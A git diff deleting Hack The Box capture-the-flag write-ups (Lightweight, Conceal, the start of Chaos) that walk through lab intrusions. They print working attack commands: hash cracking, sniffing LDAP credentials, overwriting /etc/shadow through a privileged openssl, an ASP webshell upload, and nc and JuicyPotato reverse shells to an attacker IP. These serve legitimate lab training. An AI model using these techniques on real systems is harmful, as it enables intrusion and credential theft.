-root:$keepass$*2*1*0*ea5626a6904620cad648168ef3f1968766f0b5f527c9a8028c1c1b03f2490449*cb3114b5089ffddbb3d607e490176e5e8da3022fc899fad5f317f1e4ebf4c268*a0b68d67dca93aee8f9804c28dac5995*afd02b46e630ff764adb50b7a2aae99d8961b1ab4676aff41c21dca19550c9ac*43c6588d17bceedbd00ed20d5ea310b82170252e29331671cc8aea3edd094ef6*1*64*0063c12d1bf2ac03fb677e1915d1e96e3ab2cb7e381a186e58e8a06c5a296f39
-```
-
-Then it didn't take long to crack the password: `darkness`
-
-```
-# john -w=/usr/share/wordlists/rockyou.txt hash.txt
-Using default input encoding: UTF-8
-Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
-Cost 1 (iteration count) is 1 for all loaded hashes
-Cost 2 (version) is 2 for all loaded hashes
-Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
-Will run 4 OpenMP threads
-Press 'q' or Ctrl-C to abort, almost any other key for status
-darkness (root)
-1g 0:00:00:00 DONE (2019-05-02 21:35) 100.0g/s 73600p/s 73600c/s 73600C/s dreamer..raquel
-Use the "--show" option to display all of the cracked passwords reliably
-Session completed
-```
-
-I used `kpcli` to open the KeePass database and found the `root.txt` hash inside.
-
-```
-# kpcli --key admin.png --kdb root.kdbx
-Please provide the master password: *************************
-
-KeePass CLI (kpcli) v3.1 is ready for operation.
-Type 'help' for a description of available commands.
-Type 'help ' for details on individual commands.
-
-kpcli:/> ls
-=== Groups ===
-chest/
-kpcli:/> ls chest
-=== Groups ===
-hash/
-kpcli:/> ls chest/hash
-=== Entries ===
-1. root.txt
-
-kpcli:/> show -f 0
-
-Title: root.txt
-Uname: Gilfoyle
- Pass: 436b83...
- URL:
-Notes: HTB FTW!
-```
\ No newline at end of file
diff --git a/_posts/2019-05-11-htb-writeup-lightweight.md b/_posts/2019-05-11-htb-writeup-lightweight.md
deleted file mode 100644
index 77f01b2e53..0000000000
--- a/_posts/2019-05-11-htb-writeup-lightweight.md
+++ /dev/null
@@ -1,344 +0,0 @@
----
-layout: single
-title: Lightweight - Hack The Box
-excerpt: "Lightweight was a fun box that uses Linux capabilities set on tcpdump so we can capture packets on the loopback interface and find credentials in an LDAP session. We then find more credentials in the source code of the web application and finally priv esc to root by abusing a copy of the openssl program that all has Linux caps set on it."
-date: 2019-05-11
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-lightweight/lightweight_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - john
- - ldap
- - caps
- - tcpdump
- - password cracking
----
-
-
-
-Lightweight was a fun box that uses Linux capabilities set on tcpdump so we can capture packets on the loopback interface and find credentials in an LDAP session. We then find more credentials in the source code of the web application and finally priv esc to root by abusing a copy of the openssl program that all has Linux caps set on it.
-
-## Summary
-
-- The main web page contains instructions on how to access the box by SSH (basically an account is automatically created based on the user's IP address)
-- The `status.php` page does an LDAP query to the loopback interface, which can be intercepted since tcpdump is running with elevated caps
-- The LDAP query contains the credentials for user `ldapuser2`
-- User `ldapuser2` has access to the PHP source code for the web application, which has credentials for user `ldapuser1`
-- There is an `openssl` binary in the home directory of `ldapuser1` with elevated caps that let us read/write any files on the system
-
-### Portscan
-
-We got SSH, Apache httpd and OpenLDAP runnning on this box.
-
-```
-root@ragingunicorn:~# nmap -sC -sV -p- 10.10.10.119
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-10 23:27 EST
-Nmap scan report for 10.10.10.119
-Host is up (0.024s latency).
-Not shown: 65532 filtered ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
-| ssh-hostkey:
-| 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
-| 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
-|_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
-80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
-|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
-|_http-title: Lightweight slider evaluation page - slendr
-389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
-| ssl-cert: Subject: commonName=lightweight.htb
-| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
-| Not valid before: 2018-06-09T13:32:51
-|_Not valid after: 2019-06-09T13:32:51
-|_ssl-date: TLS randomness does not represent time
-```
-
-### Web page
-
-There's not much on the webpage except some instructions on how to login via SSH, how to reset the user password and a status check page.
-
-
-
-
-
-
-
-One thing to note is the status page always take a long time to execute so there is probably some script running in the background.
-
-As per the instruction, we can log in with our IP as username / password:
-
-```
-# ssh -l 10.10.14.23 10.10.10.119
-10.10.14.23@10.10.10.119's password:
-[10.10.14.23@lightweight ~]$ id
-uid=1004(10.10.14.23) gid=1004(10.10.14.23) groups=1004(10.10.14.23) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
-```
-
-### LDAP enum
-
-The LDAP server allows any user to search the directory and does not require authentication:
-
-```
-# ldapsearch -h 10.10.10.119 -b "dc=lightweight,dc=htb" -x
-
-# ldapuser1, People, lightweight.htb
-dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
-uid: ldapuser1
-cn: ldapuser1
-sn: ldapuser1
-mail: ldapuser1@lightweight.htb
-objectClass: person
-objectClass: organizationalPerson
-objectClass: inetOrgPerson
-objectClass: posixAccount
-objectClass: top
-objectClass: shadowAccount
-userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R
- oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv
-shadowLastChange: 17691
-shadowMin: 0
-shadowMax: 99999
-shadowWarning: 7
-loginShell: /bin/bash
-uidNumber: 1000
-gidNumber: 1000
-homeDirectory: /home/ldapuser1
-
-# ldapuser2, People, lightweight.htb
-dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
-uid: ldapuser2
-cn: ldapuser2
-sn: ldapuser2
-mail: ldapuser2@lightweight.htb
-objectClass: person
-objectClass: organizationalPerson
-objectClass: inetOrgPerson
-objectClass: posixAccount
-objectClass: top
-objectClass: shadowAccount
-userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
- zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x
-shadowLastChange: 17691
-shadowMin: 0
-shadowMax: 99999
-shadowWarning: 7
-loginShell: /bin/bash
-uidNumber: 1001
-gidNumber: 1001
-homeDirectory: /home/ldapuser2
-```
-
-We can see two sets of credentials here. These are actually Base64 encoded versions of the Linux SHA512 hashes.
-
-First hash decodes to: `{crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/`
-
-None of the hashes could be cracked using `rockyou.txt`, so we have to get the password some other way.
-
-### Checking caps
-
-I checked the entire filesystem for any files running with elevated capabilities. Capabilities are used when a program need some kind of privilege that would normally require root access. With caps, we can give specific privileges to the binary without making the file suid or running it directly as root.
-
-```
-[10.10.14.23@lightweight ~]$ getcap -r / 2>/dev/null
-/usr/bin/ping = cap_net_admin,cap_net_raw+p
-/usr/sbin/mtr = cap_net_raw+ep
-/usr/sbin/suexec = cap_setgid,cap_setuid+ep
-/usr/sbin/arping = cap_net_raw+p
-/usr/sbin/clockdiff = cap_net_raw+p
-/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
-```
-
-Here, `tcpdump` has some caps set to allow a regular user to capture traffic on any interface.
-
-As per [http://man7.org/linux/man-pages/man7/capabilities.7.html](http://man7.org/linux/man-pages/man7/capabilities.7.html), the exact description of the caps are:
-
-```
-CAP_NET_ADMIN
- Perform various network-related operations:
- * interface configuration;
- * administration of IP firewall, masquerading, and accounting;
- * modify routing tables;
- * bind to any address for transparent proxying;
- * set type-of-service (TOS)
- * clear driver statistics;
- * set promiscuous mode;
- * enabling multicasting;
-
-CAP_NET_RAW
- * Use RAW and PACKET sockets;
- * bind to any address for transparent proxying.
-```
-
-### Capturing traffic
-
-There is an automated script on the box that connects locally to the LDAP server via the loopback interface. Because it's not using LDAPS, the credentials are in plaintext and I can capture them by sniffing the loopback interface.
-
-
-```
-[10.10.14.23@lightweight ~]$ tcpdump -nni lo -w /tmp/capture.pcap
-tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
-```
-
-After grabbing the .pcap file via scp, we can see the following LDAP query using simple authentication with user `ldapuser2`
-
-
-
-And we've got the password in plaintext here:
-
-
-
-`ldapuser2` password is: `8bc8251332abe1d7f105d3e53ad39ac2`
-
-### Logging in as ldapuser2 and grabbing the user flag
-
-We can't SSH in as `ldapuser2` but we're able to `su` to `ldapuser2`.
-
-```
-[10.10.14.23@lightweight ~]$ su -l ldapuser2
-Password:
-Last login: Mon Dec 10 21:41:37 GMT 2018 on pts/1
-Last failed login: Tue Dec 11 04:35:22 GMT 2018 from 10.10.14.23 on ssh:notty
-There was 1 failed login attempt since the last successful login.
-[ldapuser2@lightweight ~]$ ls
-backup.7z OpenLDAP-Admin-Guide.pdf OpenLdap.pdf user.txt
-
-[ldapuser2@lightweight ~]$ cat user.txt
-8a866d...
-```
-
-### Privesc to ldapuser1
-
-The `backup.7z` file in ldapuser2's home directory is our next logical target, however it has a password set on it:
-
-```
-# 7z e backup.7z
-
-7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
-p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-2600K CPU @ 3.40GHz (206A7),ASM,AES-NI)
-
-Scanning the drive for archives:
-1 file, 3411 bytes (4 KiB)
-
-Extracting archive: backup.7z
---
-Path = backup.7z
-Type = 7z
-Physical Size = 3411
-Headers Size = 259
-Method = LZMA2:12k 7zAES
-Solid = +
-Blocks = 1
-
-
-Enter password (will not be echoed):
-```
-
-I'll use `7z2john` to extract the hash then crack it with `john`:
-```
-root@ragingunicorn:~/JohnTheRipper/run# ./7z2john.pl /root/tmp/backup.7z
-
-backup.7z:$7z$2$19$0$$8$11e96[...]
-
-# ~/JohnTheRipper/run/john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-70.txt hash.txt
-Using default input encoding: UTF-8
-Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES])
-Cost 1 (iteration count) is 524288 for all loaded hashes
-Cost 2 (padding size) is 12 for all loaded hashes
-Cost 3 (compression type) is 2 for all loaded hashes
-Will run 4 OpenMP threads
-Press 'q' or Ctrl-C to abort, almost any other key for status
-delete (?)
-1g 0:00:00:40 DONE (2018-12-10 23:59) 0.02448g/s 50.53p/s 50.53c/s 50.53C/s poison..nokia
-Use the "--show" option to display all of the cracked passwords reliably
-Session completed
-```
-
-Password is : `delete`
-
-```
-# 7z x -obackup backup.7z
-
-7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
-[...]
-Size: 10270
-Compressed: 3411
-root@ragingunicorn:~/tmp# ls -l backup
-total 24
--rw-r----- 1 root root 4218 Jun 13 14:48 index.php
--rw-r----- 1 root root 1764 Jun 13 14:47 info.php
--rw-r----- 1 root root 360 Jun 10 2018 reset.php
--rw-r----- 1 root root 2400 Jun 14 15:06 status.php
--rw-r----- 1 root root 1528 Jun 13 14:47 user.php
-```
-
-We have a backup of the web application source code and `status.php` contains credentials:
-
-```php
-$username = 'ldapuser1';
-$password = 'f3ca9d298a553da117442deeb6fa932d';
-```
-
-We can then `su` to `ldapuser1` with that password:
-
-```
-[10.10.14.23@lightweight ~]$ su -l ldapuser1
-Password:
-Last login: Tue Dec 11 02:01:07 GMT 2018 on pts/1
-[ldapuser1@lightweight ~]$ ls
-capture.pcap ldapTLS.php openssl tcpdump
-```
-
-### Final privesc
-
-Checking caps again, we see the `openssl` binary in the current directory has caps set:
-
-```
-[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null
-/usr/bin/ping = cap_net_admin,cap_net_raw+p
-/usr/sbin/mtr = cap_net_raw+ep
-/usr/sbin/suexec = cap_setgid,cap_setuid+ep
-/usr/sbin/arping = cap_net_raw+p
-/usr/sbin/clockdiff = cap_net_raw+p
-/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
-/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
-/home/ldapuser1/openssl =ep
-```
-
-The `=ep` caps means the all capabilities are assigned to the file. We can read `/etc/shadow` with openssl by encrypting it to a file in our home directory, then decrypting it:
-
-```
--256-cbc encryption password:
-Verifying - enter aes-256-cbc encryption password:
-[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow.enc -out shadow
-enter aes-256-cbc decryption password:
-[ldapuser1@lightweight ~]$ cat shadow
-root:$6$eVOz8tJs$xpjymy5BFFeCIHq9a.BoKZeyPReKd7pwoXnxFNOa7TP5ltNmSDsiyuS/ZqTgAGNEbx5jyZpCnbf8xIJ0Po6N8.:17711:0:99999:7:::
-[...]
-ldapuser1:$6$OZfv1n9[v$2gh4EFIrLW5hZEEzrVn4i8bYfXMyiPp2450odPwiL5yGOHYksVd8dCTqeDt3ffgmwmRYw49c]MFueNZNOoI6A1.:17691:365:99999:7:::
-ldapuser2:$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1:17691:365:99999:7:::
-10.10.14.2:clJFBL7EDs1H6:17851:0:99999:7:::
-10.10.14.13:qehr2qxjyEzkw:17874:0:99999:7:::
-10.10.14.26:syd74YenpBuf6:17875:0:99999:7:::
-10.10.14.12:pdfLwDAqvvWI2:17876:0:99999:7:::
-10.10.14.23:owYEfkaBVoeFI:17876:0:99999:7:::
-```
-
-We probably can't crack the root hash because the HTB boxes typically have a very complex password for the root account but we can replace the shadow file with an empty root password:
-
-```
-[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -a -salt -in shadow -out shadow.enc
-enter aes-256-cbc encryption password:
-Verifying - enter aes-256-cbc encryption password:
-[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow.enc -out /etc/shadow
-enter aes-256-cbc decryption password:
-[ldapuser1@lightweight ~]$ su -l root
-Last login: Thu Dec 6 14:09:41 GMT 2018 on tty1
-[root@lightweight ~]# id
-uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
-
-[root@lightweight ~]# cat root.txt
-f1d4e3...
-```
diff --git a/_posts/2019-05-18-htb-writeup-conceal.md b/_posts/2019-05-18-htb-writeup-conceal.md
deleted file mode 100644
index 04f7ce4ab2..0000000000
--- a/_posts/2019-05-18-htb-writeup-conceal.md
+++ /dev/null
@@ -1,297 +0,0 @@
----
-layout: single
-title: Conceal - Hack The Box
-excerpt: "Conceal uses IPSec to secure connectivity to the server and nothing is exposed by default except SNMP and IPSec. After finding the preshared key by enumerating with SNMP, we connect to the server, upload an ASP payload to gain RCE then privesc to SYSTEM using RottenPotato. Not a bad box overall, but the initial part of figuring out the IPSec configuration parameters took me a while to figure out/guess."
-date: 2019-05-18
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-conceal/conceal_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - asp
- - ipsec
- - vpn
- - rotten tomato
----
-
-
-
-Conceal uses IPSec to secure connectivity to the server and nothing is exposed by default except SNMP and IPSec. After finding the preshared key by enumerating with SNMP, we connect to the server, upload an ASP payload to gain RCE then privesc to SYSTEM using RottenPotato. Not a bad box overall, but the initial part of figuring out the IPSec configuration parameters took me a while to figure out/guess
-
-## Summary
-
-- The box has a security rule configured that only allows clients to connect to it through an IPSec tunnel
-- SNMP is configured with a default `public` community string, allowing us to see the IPSec pre-shared key (PSK)
-- Using an IPSec client such as StrongSwan, we can connect to it but we need to only allow TCP through otherwise the Phase2 negotiation fails
-- Next, we can access the FTP and HTTP port on the server and locate an `/upload` directory on the IIS server
-- We can upload files to the webserver using the FTP anonymous user, gaining RCE with an ASP webshell
-- The user running the webserver has `SeImpersonatePrivilege` privilege so we can use JuicyPotato to elevate to SYSTEM
-
-### Portscan
-
-Nothing shows up on the TCP nmap scan but IKE is running on UDP port 500.
-
-```console
-# nmap -sU -F 10.10.10.116
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 22:13 EST
-Nmap scan report for conceal.htb (10.10.10.116)
-Host is up (0.027s latency).
-Not shown: 99 open|filtered ports
-PORT STATE SERVICE
-500/udp open isakmp
-```
-
-### SNMP
-
-SNMP is running with default `public` community, we can see with `snmp-check` that the `contact` field contains the pre-shared key for the IPSec VPN.
-
-```console
-# snmp-check 10.10.10.116
-snmp-check v1.9 - SNMP enumerator
-Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
-
-[+] Try to connect to 10.10.10.116:161 using SNMPv1 and community 'public'
-
-[*] System information:
-
- Host IP address : 10.10.10.116
- Hostname : Conceal
- Description : Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)
- Contact : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43
- Location : -
- Uptime snmp : 02:32:57.70
- Uptime system : 02:32:29.67
- System date : 2019-1-7 03:09:29.3
- Domain : WORKGROUP
-[...]
-```
-
-### VPN connection
-
-The VPN configuration was pretty tough to put together because IPSec is not very verbose when it fails to connect. The main items that we need to configure specifically are:
-
-- Phase1 transform-set: `3des-sha1-modp1024!`
-- Phase2 transform-set: `des-sha1!`
-- Connection type: `transport`
-- Protocols allowed: `[tcp]`
-
-**/etc/ipsec.conf**
-```
-config setup
- charondebug="all"
- uniqueids=yes
- strictcrlpolicy=no
-
-conn %default
- authby=secret
-
-conn conceal
- keyexchange=ikev1
- left=10.10.14.23
- right=10.10.10.116
- rightsubnet=10.10.10.116[tcp]
- auto=add
- ike=3des-sha1-modp1024!
- esp=3des-sha1!
- type=transport
-```
-
-**/etc/ipsec.secrets**
-```
-%any : PSK "Dudecake1!"
-```
-
-I also had to lower the MTU of the VMware eth0 interface and both OpenVPN tunnel and IPSec tunnel interfaces, to be certain that I would not have any problems sending large packets. Initially with the default MTU I had issues sending large packets during the FTP upload: the connection would freeze intermittently during the upload or even when interacting with the webshell.
-
-```
-# ip a
-2: eth0: mtu 1440 qdisc pfifo_fast state UNKNOWN group default qlen 1000
-[...]
-7: ip_vti0@NONE: mtu 1360 qdisc noop state DOWN group default qlen 1000
-[...]
-17: tun0: mtu 1380 qdisc pfifo_fast state UNKNOWN group default qlen 100
-```
-
-Once everything is configured, we can successfully connect to the VPN:
-
-```console
-# ipsec up conceal
-initiating Main Mode IKE_SA conceal[1] to 10.10.10.116
-generating ID_PROT request 0 [ SA V V V V V ]
-sending packet: from 10.10.14.23[500] to 10.10.10.116[500] (176 bytes)
-received packet: from 10.10.10.116[500] to 10.10.14.23[500] (208 bytes)
-parsed ID_PROT response 0 [ SA V V V V V V ]
-received MS NT5 ISAKMPOAKLEY vendor ID
-received NAT-T (RFC 3947) vendor ID
-received draft-ietf-ipsec-nat-t-ike-02\n vendor ID
-received FRAGMENTATION vendor ID
-received unknown vendor ID: fb:1d:e3:cd:f3:41:b7:ea:16:b7:e5:be:08:55:f1:20
-received unknown vendor ID: e3:a5:96:6a:76:37:9f:e7:07:22:82:31:e5:ce:86:52
-selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024
-generating ID_PROT request 0 [ KE No NAT-D NAT-D ]
-sending packet: from 10.10.14.23[500] to 10.10.10.116[500] (244 bytes)
-received packet: from 10.10.10.116[500] to 10.10.14.23[500] (260 bytes)
-parsed ID_PROT response 0 [ KE No NAT-D NAT-D ]
-generating ID_PROT request 0 [ ID HASH N(INITIAL_CONTACT) ]
-sending packet: from 10.10.14.23[500] to 10.10.10.116[500] (100 bytes)
-received packet: from 10.10.10.116[500] to 10.10.14.23[500] (68 bytes)
-parsed ID_PROT response 0 [ ID HASH ]
-IKE_SA conceal[1] established between 10.10.14.23[10.10.14.23]...10.10.10.116[10.10.10.116]
-scheduling reauthentication in 9759s
-maximum IKE_SA lifetime 10299s
-generating QUICK_MODE request 2486327527 [ HASH SA No ID ID ]
-sending packet: from 10.10.14.23[500] to 10.10.10.116[500] (164 bytes)
-received packet: from 10.10.10.116[500] to 10.10.14.23[500] (188 bytes)
-parsed QUICK_MODE response 2486327527 [ HASH SA No ID ID ]
-selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ
-CHILD_SA conceal{1} established with SPIs c9f0dac2_i 65f81cda_o and TS 10.10.14.23/32 === 10.10.10.116/32[tcp]
-generating QUICK_MODE request 2486327527 [ HASH ]
-connection 'conceal' established successfully
-
-# ipsec status
-Security Associations (1 up, 0 connecting):
- conceal[1]: ESTABLISHED 3 seconds ago, 10.10.14.23[10.10.14.23]...10.10.10.116[10.10.10.116]
- conceal{1}: INSTALLED, TRANSPORT, reqid 1, ESP SPIs: c9f0dac2_i 65f81cda_o
- conceal{1}: 10.10.14.23/32 === 10.10.10.116/32[tcp]
-```
-
-### 2nd portscan
-
-After we're connected, we can run a portscan again and find additional ports.
-
-```
-# nmap -sT -F 10.10.10.116
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 22:36 EST
-Nmap scan report for conceal.htb (10.10.10.116)
-Host is up (0.032s latency).
-Not shown: 95 closed ports
-PORT STATE SERVICE
-21/tcp open ftp
-80/tcp open http
-135/tcp open msrpc
-139/tcp open netbios-ssn
-445/tcp open microsoft-ds
-```
-
-
-### Gaining RCE through the IIS webserver
-
-The IIS server has a default page configured.
-
-
-
-Let's use `gobuster` to find interesting stuff on the server:
-
-```
-# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -u http://10.10.10.116
-/upload (Status: 301)
-```
-
-Ok, so there's an upload page and it seems that we can upload files to the IIS root directory with the FTP anonymous account:
-
-```
-# echo "This is a test" > test.txt
-# curl -T test.txt ftp://10.10.10.116
- % Total % Received % Xferd Average Speed Time Time Time Current
- Dload Upload Total Spent Left Speed
-100 15 0 0 100 15 0 53 --:--:-- --:--:-- --:--:-- 53
-# curl http://10.10.10.116/upload/test.txt
-This is a test
-```
-
-Next, let's upload an .asp webshell so we can run commands on the server. I used the following webshell: [https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp)
-
-```
-# curl -t curl -T snow.asp ftp://10.10.10.116
- % Total % Received % Xferd Average Speed Time Time Time Current
- Dload Upload Total Spent Left Speed
-100 1356 0 0 100 1356 0 4237 --:--:-- --:--:-- --:--:-- 4237
-```
-
-We now have RCE and we can grab the user flag from the `Destitute` user directory.
-
-
-
-### Privesc
-
-The upload directory is located here: `C:\inetpub\wwwroot\upload\snow.asp`
-
-To get a proper shell, we can upload `nc.exe` and run it with `C:\inetpub\wwwroot\upload\nc.exe -e cmd.exe 10.10.14.23 80`
-
-```
-# nc -lvnp 80
-listening on [any] 80 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.116] 49684
-Microsoft Windows [Version 10.0.15063]
-(c) 2017 Microsoft Corporation. All rights reserved.
-
-C:\Windows\SysWOW64\inetsrv>whoami
-conceal\destitute
-
-C:\Windows\SysWOW64\inetsrv>whoami /priv
-
-PRIVILEGES INFORMATION
-----------------------
-
-Privilege Name Description State
-============================= ========================================= ========
-SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
-SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
-SeShutdownPrivilege Shut down the system Disabled
-SeAuditPrivilege Generate security audits Disabled
-SeChangeNotifyPrivilege Bypass traverse checking Enabled
-SeUndockPrivilege Remove computer from docking station Disabled
-SeImpersonatePrivilege Impersonate a client after authentication Enabled
-SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
-SeTimeZonePrivilege Change the time zone Disabled
-```
-
-Running `whoami /priv`, we see that the rights for the user will allow us to use the RottenPotato exploit to elevate to NT AUTORITY/SYSTEM.
-
-We need to pick the appropriat CLSID for our OS so first we'll check which Windows version is running:
-
-```
-C:\inetpub\wwwroot\upload>systeminfo
-systeminfo
-
-Host Name: CONCEAL
-OS Name: Microsoft Windows 10 Enterprise
-OS Version: 10.0.15063 N/A Build 15063
-```
-
-Next, we check the [https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md](https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md) site for a list of CLSID for the OS.
-
-We'll use `{8BC3F05E-D86B-11D0-A075-00C04FB68820}`, for no particular reason then execute JuicyPotato and run another netcat to spawn a new reverse shell for us.
-
-```
-C:\inetpub\wwwroot\upload>juicypotato.exe -l 1234 -p nc.exe -a "-e cmd.exe 10.10.14.23 443" -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
-juicypotato.exe -l 1234 -p nc.exe -a "-e cmd.exe 10.10.14.23 443" -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
-Testing {8BC3F05E-D86B-11D0-A075-00C04FB68820} 1234
-......
-[+] authresult 0
-{8BC3F05E-D86B-11D0-A075-00C04FB68820};NT AUTHORITY\SYSTEM
-
-[+] CreateProcessWithTokenW OK
-
-C:\inetpub\wwwroot\upload>
-```
-
-And... we get a shell back as `NT AUTHORITY\SYSTEM`:
-
-```
-# nc -lvnp 443
-listening on [any] 443 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.116] 49709
-Microsoft Windows [Version 10.0.15063]
-(c) 2017 Microsoft Corporation. All rights reserved.
-
-C:\Windows\system32>whoami
-whoami
-nt authority\system
-
-C:\Windows\system32>type c:\users\administrator\desktop\proof.txt
-type c:\users\administrator\desktop\proof.txt
-5737DD...
-```
\ No newline at end of file
diff --git a/_posts/2019-05-25-htb-writeup-chaos.md b/_posts/2019-05-25-htb-writeup-chaos.md
deleted file mode 100644
index 8490539701..0000000000
--- a/_posts/2019-05-25-htb-writeup-chaos.md
+++ /dev/null
@@ -1,378 +0,0 @@
----
-layout: single
-title: Chaos - Hack The Box
-excerpt: "Chaos starts with some enumeration to find a hidden wordpress site that contains a set of credentials for a webmail site. There's some simple crypto we have to do to decrypt an attachment and find a hidden link on the site. We then exploit the PDF creation website which uses LaTeX and gain RCE. After getting a reverse shell, we do some digging into the user's folders and find the webmin root credentials stored in the Firefox user profile."
-date: 2019-05-25
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-chaos/chaos_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - wordpress
- - weak credentials
- - pdf
- - LaTeX
- - firefox
- - saved credentials
----
-
-
-
-Chaos starts with some enumeration to find a hidden wordpress site that contains a set of credentials for a webmail site. There's some simple crypto we have to do to decrypt an attachment and find a hidden link on the site. We then exploit the PDF creation website which uses LaTeX and gain RCE. After getting a reverses shell, we do some digging into the user's folders and find the webmin root credentials stored in the Firefox user profile.
-
-## Summary
-
-- There's a hidden wordpress blog with a password protected post
-- By enumerating the users with wpscan, we find a single user `human` which is also the password for the protected post
-- The post contains the credentials for a webmail account on webmail.chaos.htb site
-- The user mailbox has a message directing us to another hidden URI on the site which contains a PDF maker application
-- The application uses LaTeX and we can do command injection to get a reverse shell
-- From `www-data` we can `su` to user `ayush` with the credentials we got from the wordpress post
-- Searching the `ayush` home directory, we find a `.mozilla` directory which has saved `root` credentials for the Webmin application
-
-## Blog / Tools used
-
-- [wpscan](https://wpscan.org/)
-- [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
-- [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)
-
-### Nmap
-
-Services running:
-- HTTP server
-- IMAP & POP3
-- Webmin (not vulnerable to any CVE as far as I could see)
-
-```
-# nmap -sC -sV -p- 10.10.10.120
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-15 17:38 EST
-Nmap scan report for 10.10.10.120
-Host is up (0.029s latency).
-Not shown: 65529 closed ports
-PORT STATE SERVICE VERSION
-80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
-|_http-server-header: Apache/2.4.34 (Ubuntu)
-|_http-title: Site doesn't have a title (text/html).
-110/tcp open pop3 Dovecot pop3d
-|_pop3-capabilities: SASL AUTH-RESP-CODE STLS TOP PIPELINING RESP-CODES CAPA UIDL
-| ssl-cert: Subject: commonName=chaos
-| Subject Alternative Name: DNS:chaos
-| Not valid before: 2018-10-28T10:01:49
-|_Not valid after: 2028-10-25T10:01:49
-|_ssl-date: TLS randomness does not represent time
-143/tcp open imap Dovecot imapd (Ubuntu)
-|_imap-capabilities: Pre-login more SASL-IR capabilities LITERAL+ STARTTLS have LOGIN-REFERRALS post-login listed OK ENABLE LOGINDISABLEDA0001 ID IDLE IMAP4rev1
-| ssl-cert: Subject: commonName=chaos
-| Subject Alternative Name: DNS:chaos
-| Not valid before: 2018-10-28T10:01:49
-|_Not valid after: 2028-10-25T10:01:49
-|_ssl-date: TLS randomness does not represent time
-993/tcp open ssl/imap Dovecot imapd (Ubuntu)
